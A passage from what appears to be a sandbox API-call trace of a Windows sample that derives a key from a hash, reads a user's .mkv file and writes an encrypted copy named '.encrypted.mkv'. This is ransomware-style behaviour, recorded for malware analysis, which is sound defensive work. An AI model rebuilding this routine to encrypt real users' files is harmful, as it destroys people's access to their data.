wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.467] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.467] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.467] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.467] CryptHashData (hHash=0xe8f40624f0, pbData=0xe8f418b2d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.467] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.467] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.468] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.468] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.468] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.468] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f40624f0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0023.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.468] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.468] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.468] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.468] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.468] CryptDestroyHash (hHash=0xe8f40624f0) returned 1 [0023.469] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.469] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.470] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.mkv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\rvzc3jmnzdykrdzf.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.470] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.470] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.470] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.470] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0023.470] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\rvzc3jMnZDyKRdzF.encrypted.mkv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\rvzc3jmnzdykrdzf.encrypted.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.471] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.472] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.472] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0023.473] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x366, lpOverlapped=0x0) returned 1 [0023.473] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.475] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.475] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.476] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.476] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.476] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.476] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.477] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.477] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.477] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.477] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.477] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.477] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.477] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f40649d0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f40649d0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.478] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.478] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.478] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.479] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.479] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.479] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10366, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x10370) returned 1 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.479] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.479] CharLowerBuffW (in: lpsz="byte[66417]", cchLength=0xb | out: lpsz="byte[66417]") returned 0xb [0023.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.481] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.481] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.481] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.482] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.482] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f1420*, pdwDataLen=0xe8f3dfdf68*=0x10366, dwBufLen=0x10370 | out: pbData=0xe8f41f1420*, pdwDataLen=0xe8f3dfdf68*=0x10370) returned 1 [0023.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.482] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.483] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.483] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.483] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.487] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.488] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.488] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.488] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.488] CryptDestroyKey (hKey=0xe8f4062aa0) returned 1 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.488] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.488] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.488] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.489] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.489] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 